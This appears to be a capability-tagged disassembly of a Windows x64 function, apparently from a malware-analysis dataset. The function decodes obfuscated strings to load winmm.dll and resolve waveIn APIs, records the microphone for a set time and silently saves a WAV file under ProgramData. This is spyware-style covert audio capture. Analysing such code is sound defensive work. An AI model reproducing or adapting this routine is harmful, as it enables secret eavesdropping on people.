Function at 0x140003509
Capabilities:
Link many functions at runtime
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xf0
mov dword [rbp + 0x10], ecx
lea rax, str.nsrr3iqq
mov rcx, rax
call fcn.140001585
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp - 0xa0], rax
cmp qword [rbp - 0xa0], 0
jne 0x140003568
mov ecx, 2
mov rax, qword [fcn.14000e1e0]
call rax
mov rcx, rax
lea rax, str.Failed_to_load_winmm.dll._n
mov rdx, rax
call fcn.140001450
jmp 0x140003a8d
lea rax, str.fjNsTujs
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x98], rax
lea rax, str.fjNsUwjufwjMjfijw
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x90], rax
lea rax, str.fjNsFiiGzkkjw
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x88], rax
lea rax, str.fjNsXyfwy
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x80], rax
lea rax, str.fjNsXytu
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x78], rax
lea rax, str.fjNsZsuwjufwjMjfijw
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x70], rax
lea rax, str.fjNsHqtxj
mov rcx, rax
call fcn.140001585
mov rdx, rax
mov rax, qword [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x68], rax
cmp qword [rbp - 0x98], 0
je 0x1400036ca
cmp qword [rbp - 0x90], 0
je 0x1400036ca
cmp qword [rbp - 0x88], 0
je 0x1400036ca
cmp qword [rbp - 0x80], 0
je 0x1400036ca
cmp qword [rbp - 0x78], 0
je 0x1400036ca
cmp qword [rbp - 0x70], 0
je 0x1400036ca
cmp qword [rbp - 0x68], 0
jne 0x1400036ef
mov ecx, 2
mov rax, qword [fcn.14000e1e0]
call rax
mov rcx, rax
lea rax, str.Failed_to_resolve_function_addresses._n
mov rdx, rax
call fcn.140001450
jmp 0x140003a8d
mov eax, dword [rbp + 0x10]
imul eax, eax, 0x15888
mov dword [rbp - 0xb4], eax
mov word [rbp - 0x50], 1
mov word [rbp - 0x4e], 1
mov dword [rbp - 0x4c], 0xac44
mov dword [rbp - 0x48], 0x15888
mov word [rbp - 0x44], 2
mov word [rbp - 0x42], 0x10
mov word [rbp - 0x40], 0
mov eax, dword [rbp - 0xb4]
cdqe
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x60], rax
mov rax, qword [rbp - 0x60]
mov qword [rbp - 0x30], rax
mov eax, dword [rbp - 0xb4]
mov dword [rbp - 0x28], eax
mov dword [rbp - 0x18], 0
mov dword [rbp - 0x14], 0
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0xa8]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r10, qword [rbp - 0x98]
mov r9d, 0
mov r8, rdx
mov edx, 0xffffffff
mov rcx, rax
call r10
test eax, eax
je 0x1400037bd
mov ecx, 2
mov rax, qword [fcn.14000e1e0]
call rax
mov rcx, rax
lea rax, str.Failed_to_open_microphone._n
mov rdx, rax
call fcn.140001450
jmp 0x140003a8d
mov rax, qword [rbp - 0xa8]
lea rdx, [rbp - 0x30]
mov r9, qword [rbp - 0x90]
mov r8d, 0x30
mov rcx, rax
call r9
mov rax, qword [rbp - 0xa8]
lea rdx, [rbp - 0x30]
mov r9, qword [rbp - 0x88]
mov r8d, 0x30
mov rcx, rax
call r9
mov rax, qword [rbp - 0xa8]
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call rdx
mov eax, dword [rbp + 0x10]
imul eax, eax, 0x3e8
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0xa8]
mov rdx, qword [rbp - 0x78]
mov rcx, rax
call rdx
mov rax, qword [rbp - 0xa8]
lea rdx, [rbp - 0x30]
mov r9, qword [rbp - 0x70]
mov r8d, 0x30
mov rcx, rax
call r9
mov rax, qword [rbp - 0xa8]
mov rdx, qword [rbp - 0x68]
mov rcx, rax
call rdx
lea rax, [0x1400108c3]
mov rdx, rax
lea rax, str._ProgramData_recorded_audio.wav
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x58], rax
cmp qword [rbp - 0x58], 0
je 0x140003a63
mov rax, qword [rbp - 0x58]
mov r9, rax
mov r8d, 4
mov edx, 1
lea rax, str.RIFF
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov eax, dword [rbp - 0xb4]
add eax, 0x24
mov dword [rbp - 0xb0], eax
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0xb0]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x58]
mov r9, rax
mov r8d, 8
mov edx, 1
lea rax, str.WAVEfmt
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov dword [rbp - 0xac], 0x10
mov word [rbp - 0xb6], 1
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0xac]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0xb6]
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
add rax, 2
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
add rax, 4
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
add rax, 8
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
add rax, 0xc
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
add rax, 0xe
mov r9, rdx
mov r8d, 1
mov edx, 2
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x58]
mov r9, rax
mov r8d, 4
mov edx, 1
lea rax, str.data
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rdx, qword [rbp - 0x58]
lea rax, [rbp - 0xb4]
mov r9, rdx
mov r8d, 1
mov edx, 4
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov eax, dword [rbp - 0xb4]
movsxd rdx, eax
mov rcx, qword [rbp - 0x58]
mov rax, qword [rbp - 0x60]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rax, qword [rbp - 0x58]
mov rcx, rax
call sub.msvcrt.dll_fclose
mov rax, qword [rbp - 0x60]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp - 0xa0], 0
je 0x140003a8d
mov rax, qword [rbp - 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
nop
add rsp, 0xf0
pop rbp
ret